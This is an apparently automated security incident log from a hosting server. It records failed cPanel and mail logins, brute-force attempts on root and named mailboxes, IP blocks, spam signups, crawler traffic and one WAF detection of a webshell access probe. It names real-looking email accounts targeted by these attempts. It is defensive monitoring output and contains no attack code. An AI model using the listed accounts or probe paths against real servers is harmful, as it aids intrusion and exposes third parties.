# incident

plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.14
country_id: 1880251
description:
47.128.96.14 - - [09/Jun/2026:16:06:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065001&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmarc-vizy%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781021216 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/marc-vizy/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.14


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.144
country_id: 1880251
description:
47.128.96.144 - - [09/Jun/2026:16:07:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935049&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fancien-president-du-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781021274 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ancien-president-du-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.144


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.2
country_id: 1880251
description:
47.128.96.2 - - [09/Jun/2026:16:08:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7301529&pdata=https%253A%252F%252Fzephyr.tg%252Fmedias-affaire-de-detournement-de-fonds-a-vision-4-cameroun-ernest-obama-libere%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781021281 HTTP/2.0" 302 0 zephyr.tg "https://zephyr.tg/medias-affaire-de-detournement-de-fonds-a-vision-4-cameroun-ernest-obama-libere/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.2


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.94
country_id: 3175395
description:
Jun  9 16:07:39 ns5 auth[892053]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.94 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.137
country_id: 1880251
description:
47.128.96.137 - - [09/Jun/2026:16:07:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6842010&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Frussie%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781021242 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/russie/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.137


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.183
country_id: 1880251
description:
47.128.96.183 - - [09/Jun/2026:16:08:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10195556&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvoeux-a-la-nation-2020%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781021338 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/voeux-a-la-nation-2020/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.183


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.208
country_id: 1880251
description:
47.128.96.208 - - [09/Jun/2026:16:09:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7368046&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252F11e-edition-togocom-fimo228%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781021345 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/11e-edition-togocom-fimo228/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.208


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.78.234.119
country_id: 3686110
description:
[2026-06-09 16:08:20 +0000] info [whostmgrd] 181.78.234.119 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.121
country_id: 1880251
description:
47.128.96.121 - - [09/Jun/2026:16:10:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6407277&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvoeux-a-la-nation-2020%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781021402 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/voeux-a-la-nation-2020/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.121


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - secre.gene@ucao-uut.tg [06/09/2026:16:11:21 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: secre.gene@ucao-uut.tg


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.17
country_id: 1880251
description:
47.128.96.17 - - [09/Jun/2026:16:11:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9726659&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcartes-nationales-didentite%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781021506 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cartes-nationales-didentite/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.17


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.216.201.83
country_id: 6252001
description:
[2026-06-09 16:11:57 +0000] info [cpaneld] 185.216.201.83 - Marshall_Alexander "GET /execute/Email/list_pops?api.version=1 HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.205.18.174
country_id: 6251999
domain: www.test.mesyscom.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.15||T:APACHE||MV:/uploads/index.php||SC:/home/jmtctoni/public_html/test/public/uploads/index.php||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.157
country_id: 1880251
description:
47.128.96.157 - - [09/Jun/2026:16:14:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10405829&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffa%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781021642 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/fa/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.157


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-09 16:13:14 +0000] info [cpaneld] 102.54.238.57 - enadamso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user enadamso (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.117.70
country_id: 2921044
description:
2026-06-09 16:14:53 dovecot_plain authenticator failed for H=([10.150.165.179]) [146.70.117.70]:58394: 535 Incorrect authentication data (set_id=wilfried.t@cafe.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.173
country_id: 1880251
description:
47.128.96.173 - - [09/Jun/2026:16:15:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13133211&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffa%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781021700 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/fa/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.173


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.70.117.70
country_id: 2921044
description:
Jun  9 16:14:51 ns5 auth[892053]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.70.117.70 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.2
country_id: 1880251
description:
47.128.96.2 - - [09/Jun/2026:16:14:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7103592&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Feglise-evangelique-presbyterienne-du-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781021661 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/eglise-evangelique-presbyterienne-du-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.2


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.17
country_id: 1880251
description:
47.128.96.17 - - [09/Jun/2026:16:17:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6656923&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fpato-kpatcha%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781021855 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/pato-kpatcha/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.17


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 119.158.157.75
country_id: 1168579
description:
2026-06-09 16:17:24 H=([119.158.157.75]) [119.158.157.75]:58300 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.227
country_id: 1643084
description:
[2026-06-09 16:18:35 +0000] info [cpaneld] 103.65.237.227 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.53.42.101
country_id: 3469034
description:
Jun  9 16:18:52 ns5 auth[892053]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.53.42.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.92.213.13
country_id: 614540
description:
Jun  9 16:19:41 ns5 auth[892053]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.92.213.13 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.173
country_id: 1880251
description:
47.128.96.173 - - [09/Jun/2026:16:20:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6985626&pdata=https%253A%252F%252Ftdn.tg%252Faccident-camion-citerne-togo-bafilo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781022010 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/accident-camion-citerne-togo-bafilo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.173


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.240.255.21
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/plugins/rocket-lazy-load/assets/js/16.1/lazyload.min.js HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.240.239.98
country_id: 2635167
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/js/heartbeat.min.js?ver=6.9.4 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.196
country_id: 1880251
description:
47.128.96.196 - - [09/Jun/2026:16:21:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12937930&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fancien-president-du-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781022067 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ancien-president-du-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.196


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.134.62.114
country_id: 1210997
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2026/06/7b86f36d139d8581d4b5a4f155ba431c-1680019179-300x169.webp HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.178
country_id: 1880251
description:
47.128.96.178 - - [09/Jun/2026:16:22:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7182183&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdede-rose-creppy-morte%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781022119 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/dede-rose-creppy-morte/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.178


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.180
country_id: 1880251
description:
47.128.96.180 - - [09/Jun/2026:16:22:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790805&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbernard-adzorgenu-membre-du-jury-de-medal-design-competition%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781022127 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/bernard-adzorgenu-membre-du-jury-de-medal-design-competition/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.180


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.193
country_id: 1880251
description:
47.128.96.193 - - [09/Jun/2026:16:22:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908822&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fbrasserie-bb-recrute-pour-son-site-de-lome%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781022164 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/brasserie-bb-recrute-pour-son-site-de-lome/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.193


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.59.86.141
country_id: 290557
description:
[2026-06-09 16:22:15 +0000] info [whostmgrd] 94.59.86.141 - boobilry "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.137
country_id: 1880251
description:
47.128.96.137 - - [09/Jun/2026:16:23:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10250908&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvol-de-compteur-deau%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781022203 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/vol-de-compteur-deau/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.137


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.149
country_id: 1880251
description:
47.128.96.149 - - [09/Jun/2026:16:23:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12872342&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252F11e-edition-togocom-fimo228%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781022229 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/11e-edition-togocom-fimo228/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.149


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:16-24.146.19.125.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Acquire Your Comfortable Rounds vamvozmviigr.blogspot.sg Nu||Email:createbeauty@mail.com||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.154
country_id: 1880251
description:
47.128.96.154 - - [09/Jun/2026:16:25:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986136&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdevego-novissi%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781022306 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/devego-novissi/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.154


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.151
country_id: 1880251
description:
47.128.96.151 - - [09/Jun/2026:16:25:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116947&pdata=https%253A%252F%252Ftdn.tg%252Fbceao-recrute-19-postes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781022328 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/bceao-recrute-19-postes/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.151


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.169
country_id: 1880251
description:
47.128.96.169 - - [09/Jun/2026:16:25:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6724038&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252F11e-edition-togocom-fimo228%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781022320 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/11e-edition-togocom-fimo228/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.169


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.133
country_id: 1880251
description:
47.128.96.133 - - [09/Jun/2026:16:25:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9529710&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fprofanation-des-tombeaux%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781022313 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/profanation-des-tombeaux/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.133


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.59.86.141
country_id: 290557
description:
[2026-06-09 16:25:16 +0000] info [cpaneld] 94.59.86.141 - boobilry "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user boobilry (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.158
country_id: 1880251
description:
47.128.96.158 - - [09/Jun/2026:16:28:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131047&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fvolontaires-des-nations-unies%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781022480 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/volontaires-des-nations-unies/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.158


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.160
country_id: 1880251
description:
47.128.96.160 - - [09/Jun/2026:16:28:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9857687&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fjeune-femme-leader-2024%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781022518 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/jeune-femme-leader-2024/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.160


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:28:26 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:14080: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.195
country_id: 1880251
description:
47.128.96.195 - - [09/Jun/2026:16:28:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13328791&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdeces-dun-pieton-percute-par-un-camion%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781022506 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/deces-dun-pieton-percute-par-un-camion/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.195


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:29:28 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:1280: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.160
country_id: 1880251
description:
47.128.96.160 - - [09/Jun/2026:16:29:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7443098&pdata=https%253A%252F%252Ftdn.tg%252Fauthor%252Faben%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781022557 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/author/aben/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.160


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.97.142.122
country_id: 290557
description:
[2026-06-09 16:30:04 +0000] info [whostmgrd] 92.97.142.122 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.165.253.54
country_id: 290557
description:
[2026-06-09 16:29:47 +0000] info [cpaneld] 217.165.253.54 - Marshall_Alexander "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Marshall_Alexander (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:30:32 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:1286: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.104.180.223
country_id: 1814991
description:
2026-06-09 16:30:20 dovecot_plain authenticator failed for H=(adyeq11xtes0kc76y73f1stg) [39.104.180.223]:46530: 535 Incorrect authentication data (set_id=contact@emt.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.104.180.223
country_id: 1814991
description:
Jun  9 16:30:18 ns5 auth[892053]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.104.180.223 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.75.243.132
country_id: 2542007
description:
2026-06-09 16:31:26 dovecot_plain authenticator failed for H=(j477qldtvk9nlpdpxgdrwzkq9) [196.75.243.132]:33115: 535 Incorrect authentication data (set_id=supports@mesyscom.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 160.155.240.130
country_id: 2287781
description:
2026-06-09 16:31:33 dovecot_login authenticator failed for H=(ELISABETH) [160.155.240.130]:1289: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.204
country_id: 1880251
description:
